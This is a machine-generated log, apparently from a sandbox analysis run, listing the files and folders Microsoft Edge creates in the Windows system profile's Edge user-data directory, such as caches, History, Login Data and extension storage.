Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\download_cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\warnStateCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\lockfile
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Version
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\README
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Favicons-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\5c07473f-281c-45cb-bea7-aab2092a1778.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Safe Browsing
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\First Run
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\FirstLaunchAfterInstallation
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\8097023c-d1dd-4803-b7e9-55bb1d2582a4.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris_638343870221005468
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\75387db4-416b-4965-9d86-de9deab1a890.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico~RF1f90a0.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\b04a53e9-e829-40a2-bd2d-80571496c6a2.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\3c2ef124-1048-4984-9f26-ddfeb12ce27d.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Speech Recognition
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\OriginTrials
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Subresource Filter
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Web Notifications Deny List
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Edge Shopping
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\WidevineCdm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Local State~RF1f912d.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sessions
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic_638004170464094982
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\a14c0f62-50b6-4212-af3b-5b2b74bab812.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\449b6e7f-5636-42fd-8860-a4442803978d.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\519629a3-ef42-45a8-80a4-1ef3c9ab0f55.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG
